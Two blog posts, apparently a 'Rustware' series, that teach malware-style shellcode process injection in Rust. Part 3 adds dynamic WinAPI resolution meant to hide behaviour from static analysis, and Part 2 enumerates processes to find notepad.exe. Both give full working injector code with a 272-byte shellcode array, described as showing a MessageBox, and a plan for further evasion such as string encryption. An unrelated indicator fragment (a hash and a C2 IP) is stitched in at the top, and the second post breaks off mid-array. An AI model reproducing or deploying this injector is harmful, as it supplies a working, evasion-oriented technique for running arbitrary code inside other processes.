Mach-O	SHA256	c802c94d0836039aa986e66200233bdf84a9f68512e7ba6d22e93ab679309d4a
C2	IP	5.42.64[.]114

Rustware Part 3: Dynamic API resolution (Windows)

Mon, 20 Nov 2023 00:00:00 +0100

In the previous blog post we have seen how to perform a shellcode process injection by finding a target process PID using several WinAPIs, in that case all the WinAPIs were called directly. Usually malwares resolve the WinAPI address at runtime in order to hide malicious behaviours during static analysis.

I have to thank Jacopo for his feedbacks, he helped me to improve the code.

In this blog post we will see how to use two well-known WinAPIs to dynamically resolve the WinAPIs Address: GetModuleHandle used to get a module address and GetProcessAddress used to get a WinAPI address.

Runtime API Resolution

The API resolution we are going to develop is very simple and relies on two WinAPIs:

GetModuleHandleA: retrieves a module handle of the specified module
GetProcAddress: gets the address of a specified function in a DLL

Figure 1 - API Resolution

Rustware Setup

Everything we need to develop a Rust program that leverages on WinAPI, is well described in the Microsoft “Developing with Rust on Windows”. In our case, we used the following software, plugins and crate:

Visual Studio Code 1.83.0
Rust-analyzer 0.3.1689
CodeLLDB 1.10.0
Crates 0.6.3
Windows Crate 0.51.1

Rustware Development

First of all, it is necessary to add the Windows Crate and the features required by each WinAPI to the Cargo.toml file; we can see the features in the Windows Crate documentation.

Figure 2 - GetModuleHandleA Specification

The new two WinAPIs we are going to use require the following features:

GetModuleHandleA: “Win32_System_LibraryLoader” and “Win32_Foundation”
GetProcAddress: Win32_System_LibraryLoader” and “Win32_Foundation”

After adding the Windows Crate and all the WinAPIs features, the Cargo.toml file will look like this.

Figure 3 - Cargo.toml File

Each feature must also be imported in the code; we can achieve this with the use declaration as shown in the code below.

use std::{
    ffi::c_void,
    mem::{size_of, transmute},
    ptr::null_mut,
};

use std::ptr::null;

use windows::{
    core::{Error, HRESULT, HSTRING, PCSTR},
    Win32::{
        Foundation::BOOL,
        Foundation::HANDLE,
        Foundation::HMODULE,
        Security::SECURITY_ATTRIBUTES,
        System::{
            Diagnostics::ToolHelp::*,
            LibraryLoader::{GetModuleHandleA, GetProcAddress},
            Memory::*,
            Threading::*,
        },
    },
};

The resolve_api function takes two parameters, a HMODULE returned from GetModuleHandleA and the WinAPI name, it returns the function address or an error.

fn resolve_api(
    module_handle: HMODULE,
    api_name: &str,
) -> Result<unsafe extern "system" fn() -> isize, Error>

Since GetProcAddress is an unsafe function, we must use it in an unsafe block. In the following code we can see that the GetProcAddress takes the HMODULE and a PCSTR string (rappresenting the WinAPI name) as arguments and returns the WinAPI address or an error.

fn resolve_api(
    module_handle: HMODULE,
    api_name: &str,
) -> Result<unsafe extern "system" fn() -> isize, Error> {
    unsafe {
        match GetProcAddress(module_handle, PCSTR::from_raw(api_name.as_ptr())) {
            Some(winapi_addr) => {
                return Ok(winapi_addr);
            }
            None => {
                return Err(Error::new(
                    HRESULT(-1),
                    HSTRING::from("GetProcAddress Error"),
                ));
            }
        }
    }
}

In order to use the return value from the resolve_api function, we need to define the WinAPI function pointer for all the WinAPIs we are going to use in the shellcode process injection; We can do it in Rust with the type keyword. Each WinAPI is defined as an unsafe extern “system” function.

For the OpenProcess, we can define a type OpenProcessAPI that is an unsafe extern “system” fuction, based on the Microsoft Documentation, it gets three parameters: a PROCESS_ACCESS_RIGHTS, a bool and a 32-bit unsigned integer, and return a HANDLE.

type OpenProcessFunc = unsafe extern "system" fn(PROCESS_ACCESS_RIGHTS, bool, u32) -> HANDLE;

We can define the type for all the WinAPIs as shown in the code below.

type CreateToolhelp32SnapshotApi =
    unsafe extern "system" fn(CREATE_TOOLHELP_SNAPSHOT_FLAGS, u32) -> HANDLE;

type Process32FirstApi = unsafe extern "system" fn(HANDLE, *mut PROCESSENTRY32) -> BOOL;

type Process32NextApi = unsafe extern "system" fn(HANDLE, *mut PROCESSENTRY32) -> BOOL;

type OpenProcessApi = unsafe extern "system" fn(PROCESS_ACCESS_RIGHTS, bool, u32) -> HANDLE;

type CloseHandleApi = unsafe extern "system" fn(HANDLE) -> BOOL;

type VirtualAlloExApi = unsafe extern "system" fn(
    HANDLE,
    *const ::core::ffi::c_void,
    usize,
    VIRTUAL_ALLOCATION_TYPE,
    PAGE_PROTECTION_FLAGS,
) -> *mut c_void;

type WriteProcessMemoryApi =
    unsafe extern "system" fn(HANDLE, *const c_void, *const c_void, usize, *mut usize) -> BOOL;

type VirtualProtectExApi = unsafe extern "system" fn(
    HANDLE,
    *const c_void,
    usize,
    PAGE_PROTECTION_FLAGS,
    *mut PAGE_PROTECTION_FLAGS,
) -> BOOL;

type CreateRemoteThreadApi = unsafe extern "system" fn(
    HANDLE,
    *const SECURITY_ATTRIBUTES,
    usize,
    LPTHREAD_START_ROUTINE,
    *const ::core::ffi::c_void,
    u32,
    *mut u32,
) -> HANDLE;

I changed the get_pid and the inject functions in order to return a Result, because of this I used the ? operator in the expression that returns a Result (as GetModuleHandleA and transmute), in this way we can handle all the errors in the main function.

fn find_pid(target_process_name: &str) -> Result<u32, Error>
fn inject(pid: u32, payload_ptr: *const c_void, payload_len: usize) -> Result<(), Error>

The main function was changed too, you can see the full code at the end of the blog post.

At this point we can get the kernel32 handle with GetModuleHandleA, if everything is ok the kernel32_module_handle variable will have the module address otherwise the main function will handle the error.

let kernel32_module_handle: HMODULE =
            GetModuleHandleA(PCSTR::from_raw("kernel32.dll\0".as_ptr()))?;

For each WinAPI, we must create a variable of the type we defined before and transmute the address returned by our resolve_api function.

create_toolhelp32_snapshot = transmute(resolve_api(
            kernel32_module_handle,
            "CreateToolhelp32Snapshot\0",
        )?);
        process32_first = transmute(resolve_api(
            kernel32_module_handle,
            "Process32First\0",
        )?);
        process32_next = transmute(resolve_api(kernel32_module_handle, "Process32Next\0")?);
        close_handle = transmute(resolve_api(kernel32_module_handle, "CloseHandle\0")?);

let open_process: OpenProcessFunc = transmute(resolve_api(kernel32_module_handle, "OpenProcess\0")?);
        virtual_alloc_ex = transmute(resolve_api(
            kernel32_module_handle,
            "VirtualAllocEx\0",
        )?);

        write_process_memory = transmute(resolve_api(
            kernel32_module_handle,
            "WriteProcessMemory\0",
        )?);

        virtual_protect_ex = transmute(resolve_api(
            kernel32_module_handle,
            "VirtualProtectEx\0",
        )?);
        create_remote_thread = transmute(resolve_api(
            kernel32_module_handle,
            "CreateRemoteThread\0",
        )?);

At this point, we can call the WinAPIs, for example we can execute OpenProcess as shown below.

let handle_process: HANDLE = open_process(PROCESS_ALL_ACCESS, false, pid);

Using the target flag, we can specify the i686 architecture and compile the program into a 32bit binary.

Figure 4 - Compile Program for 32bit architecture

Running it, it successfully resolves the WinAPI, finds the notepad.exe PID and injects our MessageBox into it.

Figure 5 - MessageBox Process Injection in Notepad.exe

Debugging

Using Process Hacker and x32dbg we can debug our binary to understand how it works under the hood. We set the breakpoints on the GetModuleHandleA and GetProcAddress WinAPI.

Figure 6 - x32dbg Breakpoints

GetModuleHandleA

GetModuleHandleA(PCSTR::from_raw("kernel32.dll\0".as_ptr()))?;

Running the debugger, we step on the GetModuleHandleA, we can see that it gets one parameter, the “kernel32.dll” string address.

Figure 7 - GetModuleHandleA Debug

GetModuleHandleA returns the value 0x76740000, so we can confirm it is the kernel32.dll module address by looking at its address using ProcessHacker.

Figure 8 - Rustware Modules

GetProcAddress

resolve_api(kernel32_module_handle,"CreateToolhelp32Snapshot\0")

Taking the CreateToolhelp32Snapshot as example, we can see the two parameters for GetProcAddress:

0x76740000 is the kernel32.dll module address
0x98F378 is the “CreateTool32helpSnapshot” string address.

Figure 9 - GetProcAddress CreateToolhelp32Snapshot Debug

The same happens for the remaining WinAPIs as shown in the following images.

Figure 10 - GetProcAddress Process32First Debug

Figure 11 - GetProcAddress Process32Next Debug

Figure 12 - GetProcAddress CloseHandle Debug

Figure 13 - GetProcAddress OpenProcess Debug

Figure 14 - GetProcAddress VirtualAllocEx Debug

Figure 15 - GetProcAddress WriteProcessMemory Debug

Figure 16 - GetProcAddress VirtualProtectEx Debug

Figure 17 - GetProcAddress CreateRemoteThread Debug

We can see that our binary correctly resolved all the WinAPIs addresses.

Figure 18 - Process Injection Debug

Conclusion

Rust is a very powerful language; in the last years it found its way into the malware development, especially for ransomware because of its speed. The interaction with WinAPIs is not very easy because of the datatype mismatch.

I had several problems to define the correct function pointer type because I wasn’t defining it as external “system” and it wasn’t working.

The next steps are to encrypt all the strings and implement a custom version of GetModuleHandle and GetProcAddress.

Feel free to contact me, I’d appreciate any feedback.

References

Final Code

use std::{
    ffi::c_void,
    mem::{size_of, transmute},
    ptr::null_mut,
};

use std::ptr::null;

use windows::{
    core::{Error, HRESULT, HSTRING, PCSTR},
    Win32::{
        Foundation::BOOL,
        Foundation::HANDLE,
        Foundation::HMODULE,
        Security::SECURITY_ATTRIBUTES,
        System::{
            Diagnostics::ToolHelp::*,
            LibraryLoader::{GetModuleHandleA, GetProcAddress},
            Memory::*,
            Threading::*,
        },
    },
};

type CreateToolhelp32SnapshotFunc =
    unsafe extern "system" fn(CREATE_TOOLHELP_SNAPSHOT_FLAGS, u32) -> HANDLE;

type Process32FirstFunc = unsafe extern "system" fn(HANDLE, *mut PROCESSENTRY32) -> BOOL;

type Process32NextFunc = unsafe extern "system" fn(HANDLE, *mut PROCESSENTRY32) -> BOOL;

type OpenProcessFunc = unsafe extern "system" fn(PROCESS_ACCESS_RIGHTS, bool, u32) -> HANDLE;

type CloseHandleFunc = unsafe extern "system" fn(HANDLE) -> BOOL;

type VirtualAlloExFunc = unsafe extern "system" fn(
    HANDLE,
    *const ::core::ffi::c_void,
    usize,
    VIRTUAL_ALLOCATION_TYPE,
    PAGE_PROTECTION_FLAGS,
) -> *mut c_void;

type WriteProcessMemoryFunc =
    unsafe extern "system" fn(HANDLE, *const c_void, *const c_void, usize, *mut usize) -> BOOL;

type VirtualProtectExFunc = unsafe extern "system" fn(
    HANDLE,
    *const c_void,
    usize,
    PAGE_PROTECTION_FLAGS,
    *mut PAGE_PROTECTION_FLAGS,
) -> BOOL;

type CreateRemoteThreadFunc = unsafe extern "system" fn(
    HANDLE,
    *const SECURITY_ATTRIBUTES,
    usize,
    LPTHREAD_START_ROUTINE,
    *const ::core::ffi::c_void,
    u32,
    *mut u32,
) -> HANDLE;


fn resolve_api(
    module_handle: HMODULE,
    api_name: &str,
) -> Result<unsafe extern "system" fn() -> isize, Error> {
    unsafe {
        match GetProcAddress(module_handle, PCSTR::from_raw(api_name.as_ptr())) {
            Some(winapi_addr) => {
                return Ok(winapi_addr);
            }
            None => {
                return Err(Error::new(
                    HRESULT(-1),
                    HSTRING::from("GetProcAddress Error"),
                ));
            }
        }
    }
}

fn find_pid(target_process_name: &str) -> Result<u32, Error> {
    let mut pe32: PROCESSENTRY32 = PROCESSENTRY32 {
        ..Default::default()
    };
    let mut cur_process_name;

    let create_toolhelp32_snapshot: CreateToolhelp32SnapshotFunc;
    let process32_first: Process32FirstFunc;
    let process32_next: Process32NextFunc;
    let close_handle: CloseHandleFunc;

    pe32.dwSize = size_of::<PROCESSENTRY32>() as u32;

    unsafe {
        let kernel32_module_handle: HMODULE =
            GetModuleHandleA(PCSTR::from_raw("kernel32.dll\0".as_ptr()))?;

        create_toolhelp32_snapshot = transmute(resolve_api(
            kernel32_module_handle,
            "CreateToolhelp32Snapshot\0",
        )?);
        process32_first = transmute(resolve_api(kernel32_module_handle, "Process32First\0")?);
        process32_next = transmute(resolve_api(kernel32_module_handle, "Process32Next\0")?);
        close_handle = transmute(resolve_api(kernel32_module_handle, "CloseHandle\0")?);

        /* CreateToolhelp32Snapshot */
        let handle_procsnap = create_toolhelp32_snapshot(TH32CS_SNAPPROCESS, 0);
        if handle_procsnap.is_invalid() {
            return Err(Error::new(
                HRESULT(-1),
                HSTRING::from("CreateToolhelp32Snapshot Error"),
            ));
        }

        /* Process32First */
        if process32_first(handle_procsnap, &mut pe32) == false {
            return Err(Error::new(
                HRESULT(-1),
                HSTRING::from("Process32First Error"),
            ));
        }

        loop {
            cur_process_name = std::str::from_utf8(&pe32.szExeFile)
                .unwrap()
                .trim_matches(char::from(0));

            if cur_process_name.to_lowercase() == target_process_name.to_lowercase() {
                println!("Find {target_process_name} PID: {}", pe32.th32ProcessID);
                if close_handle(handle_procsnap).as_bool() == false {
                    return Err(Error::new(HRESULT(-1), HSTRING::from("CloseHandle Error")));
                }
                return Ok(pe32.th32ProcessID);
            }
            pe32.szExeFile = [0; 260];

            /* Process32Next */
            if process32_next(handle_procsnap, &mut pe32) == false {
                if close_handle(handle_procsnap).as_bool() == false {
                    return Err(Error::new(HRESULT(-1), HSTRING::from("CloseHandle Error")));
                }
                break;
            }
        }
    }
    Ok(0)
}

fn inject(pid: u32, payload_ptr: *const c_void, payload_len: usize) -> Result<(), Error> {
    let lp_number_of_bytes_written: *mut usize = std::ptr::null_mut();

    let _lp_thread_id: *mut u32;

    let _lp_parameter: *const c_void;

    let mut old_protect: PAGE_PROTECTION_FLAGS = PAGE_PROTECTION_FLAGS(0);

    let virtual_alloc_ex: VirtualAlloExFunc;
    let write_process_memory: WriteProcessMemoryFunc;
    let virtual_protect_ex: VirtualProtectExFunc;
    let create_remote_thread: CreateRemoteThreadFunc;

    let close_handle: CloseHandleFunc;

    unsafe {
        let kernel32_module_handle: HMODULE =
            GetModuleHandleA(PCSTR::from_raw("kernel32.dll\0".as_ptr()))?;

        let open_process: OpenProcessFunc =
            transmute(resolve_api(kernel32_module_handle, "OpenProcess\0")?);
        virtual_alloc_ex = transmute(resolve_api(kernel32_module_handle, "VirtualAllocEx\0")?);

        write_process_memory =
            transmute(resolve_api(kernel32_module_handle, "WriteProcessMemory\0")?);

        virtual_protect_ex = transmute(resolve_api(kernel32_module_handle, "VirtualProtectEx\0")?);
        create_remote_thread =
            transmute(resolve_api(kernel32_module_handle, "CreateRemoteThread\0")?);

        close_handle = transmute(resolve_api(kernel32_module_handle, "CloseHandle\0")?);

        /* OpenProcess */
        let handle_process: HANDLE = open_process(PROCESS_ALL_ACCESS, false, pid);

        if handle_process.is_invalid() {
            return Err(Error::new(HRESULT(-1), HSTRING::from("OpenProcess Error")));
        }

        /* VirtualAllocEx */
        let remote_memory_ptr: *mut c_void = virtual_alloc_ex(
            handle_process,
            null(),
            payload_len,
            MEM_COMMIT,
            PAGE_READWRITE,
        );

        if remote_memory_ptr.is_null() {
            return Err(Error::new(
                HRESULT(-1),
                HSTRING::from("VirtualAllocEx Error"),
            ));
        }

        println!("Allocated Memory Address: {:p}", remote_memory_ptr);

        /* WriteProcessMemory */
        if write_process_memory(
            handle_process,
            remote_memory_ptr,
            payload_ptr,
            payload_len,
            lp_number_of_bytes_written,
        ) == false
        {
            return Err(Error::new(
                HRESULT(-1),
                HSTRING::from("WriteProcessMemory Error"),
            ));
        }

        /* VirtualProtectEx */
        if virtual_protect_ex(
            handle_process,
            remote_memory_ptr,
            payload_len,
            PAGE_EXECUTE_READ,
            &mut old_protect,
        ) == false
        {
            return Err(Error::new(
                HRESULT(-1),
                HSTRING::from("VirtualProtectEx Error"),
            ));
        }

        /* CreateRemoteThread */
        let handle_tread = create_remote_thread(
            handle_process,
            transmute(::std::ptr::null::<SECURITY_ATTRIBUTES>()),
            transmute(null::<usize>()),
            transmute(remote_memory_ptr),
            null(),
            transmute(null::<u32>() as u32),
            null_mut(),
        );

        if handle_tread.is_invalid() {
            return Err(Error::new(
                HRESULT(-1),
                HSTRING::from("VirtualProtectEx Error"),
            ));
        }

        /* CloseHandle */
        if close_handle(handle_process).as_bool() == false {
            return Err(Error::new(HRESULT(-1), HSTRING::from("CloseHandle Error")));
        }
        if close_handle(handle_tread).as_bool() == false {
            return Err(Error::new(HRESULT(-1), HSTRING::from("CloseHandle Error")));
        }
    }
    Ok(())
}
fn main() {
    let payload: [u8; 272] = [
        0xd9, 0xeb, 0x9b, 0xd9, 0x74, 0x24, 0xf4, 0x31, 0xd2, 0xb2, 0x77, 0x31, 0xc9, 0x64, 0x8b,
        0x71, 0x30, 0x8b, 0x76, 0x0c, 0x8b, 0x76, 0x1c, 0x8b, 0x46, 0x08, 0x8b, 0x7e, 0x20, 0x8b,
        0x36, 0x38, 0x4f, 0x18, 0x75, 0xf3, 0x59, 0x01, 0xd1, 0xff, 0xe1, 0x60, 0x8b, 0x6c, 0x24,
        0x24, 0x8b, 0x45, 0x3c, 0x8b, 0x54, 0x28, 0x78, 0x01, 0xea, 0x8b, 0x4a, 0x18, 0x8b, 0x5a,
        0x20, 0x01, 0xeb, 0xe3, 0x34, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xee, 0x31, 0xff, 0x31, 0xc0,
        0xfc, 0xac, 0x84, 0xc0, 0x74, 0x07, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0xeb, 0xf4, 0x3b, 0x7c,
        0x24, 0x28, 0x75, 0xe1, 0x8b, 0x5a, 0x24, 0x01, 0xeb, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x5a,
        0x1c, 0x01, 0xeb, 0x8b, 0x04, 0x8b, 0x01, 0xe8, 0x89, 0x44, 0x24, 0x1c, 0x61, 0xc3, 0xb2,
        0x08, 0x29, 0xd4, 0x89, 0xe5, 0x89, 0xc2, 0x68, 0x8e, 0x4e, 0x0e, 0xec, 0x52, 0xe8, 0x9f,
        0xff, 0xff, 0xff, 0x89, 0x45, 0x04, 0xbb, 0x7e, 0xd8, 0xe2, 0x73, 0x87, 0x1c, 0x24, 0x52,
        0xe8, 0x8e, 0xff, 0xff, 0xff, 0x89, 0x45, 0x08, 0x68, 0x6c, 0x6c, 0x20, 0x41, 0x68, 0x33,
        0x32, 0x2e, 0x64, 0x68, 0x75, 0x73, 0x65, 0x72, 0x30, 0xdb, 0x88, 0x5c, 0x24, 0x0a, 0x89,
        0xe6, 0x56, 0xff, 0x55, 0x04, 0x89, 0xc2, 0x50, 0xbb, 0xa8, 0xa2, 0x4d, 0xbc, 0x87, 0x1c,
        0x24, 0x52, 0xe8, 0x5f, 0xff, 0xff, 0xff, 0x68, 0x58, 0x20, 0x20, 0x20, 0x68, 0x77, 0x61,
        0x72, 0x65, 0x68, 0x52, 0x75, 0x73, 0x74, 0x31, 0xdb, 0x88, 0x5c, 0x24, 0x08, 0x89, 0xe3,
        0x68, 0x6e, 0x58, 0x20, 0x20, 0x68, 0x63, 0x74, 0x69, 0x6f, 0x68, 0x49, 0x6e, 0x6a, 0x65,
        0x68, 0x65, 0x73, 0x73, 0x20, 0x68, 0x50, 0x72, 0x6f, 0x63, 0x31, 0xc9, 0x88, 0x4c, 0x24,
        0x11, 0x89, 0xe1, 0x31, 0xd2, 0x52, 0x53, 0x51, 0x52, 0xff, 0xd0, 0x31, 0xc0, 0x50, 0xff,
        0x55, 0x08,
    ];

    let payload_ptr: *const c_void = payload.as_ptr() as *const c_void;
    let payload_len = payload.len();

    match find_pid("notepad.exe") {
        Ok(pid) => match pid {
            1..=u32::MAX => match inject(pid, payload_ptr, payload_len) {
                Ok(()) => println!("Process Injection Completed"),
                Err(e) => println!("{e}"),
            },
            0 => println!("Process not found"),
        },
        Err(e) => println!("Error: {e}"),
    }
}

Rustware Part 2: Process Enumeration Development (Windows)

Mon, 06 Nov 2023 00:00:00 +0100

In the previous blog post we have seen how to develop a Shellcode Process Injection in Rust; the described Process Injection flow relies on several WinAPIs: OpenProcess used to open a handle to the target process, then VirtualAllocEx was used to allocate a new readable and writable region of memory into the target process, WriteProcessMemory wrote the shellcode into the new allocated memory, then VirtualProtectEx was used to change the new allocated memory protection to readable and executable in order to allow the CreateRemoteThread to execute the shellcode contained into the new allocated memory in the target process.

Generally, a malware targets one or more processes, it iterates over the existing system processes in order to find the target process, get its PID and inject the payload in it.

This blog post describes how to iterate over processes and find a specified process PID in Rust; to do that, we use the CreateToolhelp32Snapshot to create a snapshot of all the running processes in the system, then using Process32First and Process32Next we can iterate all the snapshot processes to find the target process and get its PID, after that we use the inject function to perform the shellcode process injection as saw in the previous blog post.

Process Enumeration

The process enumeration we are going to develop is very simple, it uses the following WinAPIs:

CreateToolhelp32Snapshot: gets a handle to a snapshot, it includes all the running processes in the system
Process32First: gets information about the first process in the snapshot
Process32Next: gets information about the next process in the snapshot

Figure 1 - Process Enumeration

The running process information from the snapshot is stored in the PROCESSENTRY32 struct.

pub struct PROCESSENTRY32 {
    pub dwSize: u32,
    pub cntUsage: u32,
    pub th32ProcessID: u32,
    pub th32DefaultHeapID: usize,
    pub th32ModuleID: u32,
    pub cntThreads: u32,
    pub th32ParentProcessID: u32,
    pub pcPriClassBase: i32,
    pub dwFlags: u32,
    pub szExeFile: [u8; 260],
}

We are interested in the process name contained in the szExeFile field and in the process PID containted in the th32ProcessID field.

Rustware Setup

Visual Studio Code 1.83.0
Rust-analyzer 0.3.1689
CodeLLDB 1.10.0
Crates 0.6.3
Windows Crate 0.51.1

Rustware Development

First of all, it is necessary to add the Windows Crate and the features required by each WinAPI to the Cargo.toml file; we can see the features in the Windows Crate documentation.

Figure 2 - CreateToolhelp32Snapshot Specification

Below, a list of the WinAPIs we are going to use and the features they require:

CreateToolhelp32Snapshot:” Win32_System_Diagnostics_ToolHelp” and “Win32_Foundation”
Process32First: ”Win32_System_Diagnostics_ToolHelp” and “Win32_Foundation”
Process32Next: ”Win32_System_Diagnostics_ToolHelp” and “Win32_Foundation”

After adding the Windows Crate and all the WinAPIs features, the Cargo.toml file will look like this.

Figure 3 - Cargo.toml File

Each feature must also be imported in the code; we can achieve this with the use declaration as shown in the image below.

use std::{ffi::c_void, mem::size_of, mem::transmute};

use windows::{
    Win32::Foundation::CloseHandle, Win32::System::Diagnostics::Debug::*,
    Win32::System::Diagnostics::ToolHelp::*, Win32::System::Memory::*, Win32::System::Threading::*,
};

The find_pid function takes the target process name as parameter and returns its PID.

fn find_pid(target_process_name:&str) -> u32

We have to declare: a variable pe32 as a PROCESSENTRY32 struct, initialize it with the default constructor, a string cur_process_name for the process name and a Result variable result_process32 for the Process32First and Process32Next return value; then we must set the dwSize by getting the size of the PROCESSENTRY32 struct.

fn find_pid(target_process_name:&str) -> u32{

    let mut pe32: PROCESSENTRY32 = PROCESSENTRY32{..Default::default()};
    let mut cur_process_name;
    let mut result_process32;
    
    pe32.dwSize = size_of::<PROCESSENTRY32>() as u32;
}

As seen in the previous blog post, the WinAPIs we are going to use are defined as unsafe function, so we need to add an unsafe block to use them.

Figure 4 - CreateToolhelp32Snapshot Implementation

The CreateToolhelp32Snapshot in the code below returns an error, or a handle to a snapshot; TH32CS_SNAPPROCESS means that all the running system processes must be included in the snapshot.

unsafe {
   
        let result_createtoolhelp32snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
        
        match result_createtoolhelp32snapshot{
            Ok(handle_procsnap) => {
                println!("CreateToolhelp32Snapshot succeeds");       
            }

            Err(error) =>  {
                println!("CreateToolhelp32Snapshot Error: {}",error);
                return 0;
            }
        }
}

After that we can iterate all the processes in the snapshot by using Process32First and Process32Next; these two WinAPIs save the process details in the PROCESSENTRY32 struct contained in the pe32 variable. In each iteration we get the process name from the szExeFile field, convert it to utf8 string, and remove all the 0x0 bytes; then we compare the target process name with the current process name, if they match, we return it’s PID from the th32ProcessID field, otherwise we clear the szExeFile field and repeat the loop again. The function returns 0 if the target process is not found or if an error is generated.

result_process32 = Process32First(handle_procsnap, &mut pe32);  
    loop{

        match result_process32{
            Ok(_) => {
                                        
                cur_process_name = std::str::from_utf8(&pe32.szExeFile).unwrap().trim_matches(char::from(0));
                                
                if cur_process_name.to_lowercase() == target_process_name.to_lowercase() {
                    println!("Find {} PID: {}",target_process_name,pe32.th32ProcessID);
                    let _=  CloseHandle(handle_procsnap);
                    return pe32.th32ProcessID;
                }
                pe32.szExeFile = [0;260];
                result_process32 = Process32Next(handle_procsnap, &mut pe32);
            }
            Err(error) => {
                println!("Process32 Error: {}",error);
                break;
            }
        }
    }      

In order to use the find_pid function, we can change the main function from the previous blog post as shown below.

fn main() {
    
    let payload : [u8; 272]= [ 
                                0xd9, ... ,0x08
                             ];  

    let payload_len = payload.len();
    let payload_ptr: *const c_void = payload.as_ptr() as *const c_void;
    let target_process = "notepad.exe";
    let pid = find_pid(target_process);

    if pid != 0 {
        inject(pid,payload_ptr,payload_len);
    }
    else{
        println!("{} not found",target_process);
    }
    
}

Using the target flag, we can specifying the i686 architecture and compile the program into a 32bit binary.

Figure 5 - Compile Program for 32bit architecture

Running it, we successfully finds the notepad.exe PID and injects our MessageBox into it.

Figure 6 - MessageBox Process Injection in Notepad.exe

Debugging

Using Process Hacker and x32dbg we can debug our binary to understand how it works under the hood. We set the breakpoints on the WinAPIs that our binary is going to use.

Figure 7 - x32dbg Breakpoints

CreateToolhelp32Snapshot

CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

Running the debugger, we can see that the CreateToolhelp32Snapshot is correctly getting the two parameters:

0x2 is TH32CS_SNAPPROCESS
The second parameter is 0x0

Figure 8 - CreateToolhelp32Snapshot Debug

We can see the snapshot handle in our binary handles list.

Figure 9 - Snapshot Handle

Process32First

Process32First(handle_procsnap, &mut pe32);

We can see the two parameters:

0xEC is the snapshot handle
0x50F6B4 is the PROCESSENTRY32 struct address

Figure 10 - Process32First Debug

The szExeFile field is at offset 0x24, so at the address 0x50F6D8(0x50F6B4 + 0x24) we can see the process name.

Figure 11 - Process Name in memory

Process32Next

Process32Next(handle_procsnap, &mut pe32);

We can see the two parameters:

0xEC is the snapshot handle
0x50F6B4 is the PROCESSENTRY32 struct address

Figure 12 - Process32Next Debug

By continuing the execution, the WinAPIs seen in the previous blog post are executed and our payload is injected into Notepad.exe.

Figure 13 - Process Injection Debug

Conclusion

As already said, Rust is a very powerful language; in the last years it found its way into the malware development, especially for ransomware because of its speed. The interaction with WinAPIs is not very easy because of the datatype mismatch.

At each iteration, we must manually clean the szExeFile field in the PROCESSENTRY32 struct to clear all the junk chars from the previous process name.

In the next blog post I would like to refactoring the code in order to be more “Rusty”.

Any feedback will be appreciated.

References

Final Code

use std::{ffi::c_void, mem::size_of, mem::transmute};

use windows::{
    Win32::Foundation::CloseHandle, Win32::System::Diagnostics::Debug::*,
    Win32::System::Diagnostics::ToolHelp::*, Win32::System::Memory::*, Win32::System::Threading::*,
};

fn find_pid(target_process_name: &str) -> u32 {
    let mut pe32: PROCESSENTRY32 = PROCESSENTRY32 {
        ..Default::default()
    };
    let mut cur_process_name;
    let mut result_process32;

    pe32.dwSize = size_of::<PROCESSENTRY32>() as u32;

    unsafe {
        let result_createtoolhelp32snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

        match result_createtoolhelp32snapshot {
            Ok(handle_procsnap) => {
                result_process32 = Process32First(handle_procsnap, &mut pe32);

                loop {
                    match result_process32 {
                        Ok(_) => {
                            cur_process_name = std::str::from_utf8(&pe32.szExeFile)
                                .unwrap()
                                .trim_matches(char::from(0));

                            if cur_process_name.to_lowercase() == target_process_name.to_lowercase()
                            {
                                println!(
                                    "Find {} PID: {}",
                                    target_process_name, pe32.th32ProcessID
                                );
                                let _ = CloseHandle(handle_procsnap);
                                return pe32.th32ProcessID;
                            }
                            pe32.szExeFile = [0; 260];
                            result_process32 = Process32Next(handle_procsnap, &mut pe32);
                        }
                        Err(error) => {
                            println!("Process32 Error: {}", error);
                            break;
                        }
                    }
                }
                let _ = CloseHandle(handle_procsnap);
            }

            Err(error) => {
                println!("CreateToolhelp32Snapshot Error: {}", error);
                return 0;
            }
        }
    }
    return 0;
}

fn inject(pid: u32, payload_ptr: *const c_void, payload_len: usize) {
    unsafe {
        let result_openprocess = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
        let mut old_protect: PAGE_PROTECTION_FLAGS = PAGE_PROTECTION_FLAGS(0);

        match result_openprocess {
            Ok(handle_process) => {
                let remotememory_ptr: *mut c_void = VirtualAllocEx(
                    handle_process,
                    None,
                    payload_len,
                    MEM_COMMIT,
                    PAGE_READWRITE,
                );

                if !remotememory_ptr.is_null() {
                    println!("Allocated Memory Address: {:p}", remotememory_ptr);

                    let result_writeprocessmemory = WriteProcessMemory(
                        handle_process,
                        remotememory_ptr,
                        payload_ptr,
                        payload_len,
                        None,
                    );

                    match result_writeprocessmemory {
                        Ok(()) => {
                            let result_virtualprotectex = VirtualProtectEx(
                                handle_process,
                                remotememory_ptr,
                                payload_len,
                                PAGE_EXECUTE_READ,
                                &mut old_protect,
                            );

                            match result_virtualprotectex {
                                Ok(()) => {
                                    let result_createremotethread = CreateRemoteThread(
                                        handle_process,
                                        None,
                                        0,
                                        transmute(remotememory_ptr),
                                        None,
                                        0,
                                        None,
                                    );

                                    match result_createremotethread {
                                        Ok(handle_tread) => {
                                            println!("Thread Created");
                                            let _ = CloseHandle(handle_tread);
                                        }
                                        Err(error) => {
                                            println!("CreateRemoteThread Error: {}", error)
                                        }
                                    }
                                }
                                Err(error) => {
                                    println!("VirtualProtectEx Error: {}", error)
                                }
                            }
                        }

                        Err(error) => {
                            println!("WriteProcessMemory Error: {}", error)
                        }
                    }
                } else {
                    println!("VirtualAllocEx Error")
                }
                let _ = CloseHandle(handle_process);
            }
            Err(error) => {
                println!("OpenProcess Error: {}", error)
            }
        }
    }
}

fn main() {
    let payload: [u8; 272] = [
        0xd9, 0xeb, 0x9b, 0xd9, 0x74, 0x24, 0xf4, 0x31, 0xd2, 0xb2, 0x77, 0x31, 0xc9, 0x64, 0x8b,
        0x71, 0x30, 0x8b, 0x76, 0x0c, 0x8b, 0x76, 0x1c, 0x8b, 0x46, 0x08, 0x8b, 0x7e, 0x20, 0x8b,
        0x36, 0x38, 0x4f, 0x18, 0x75, 0xf3, 0x59, 0x01, 0xd1, 0xff, 0xe1, 0x60, 0x8b, 0x6c, 0x24,
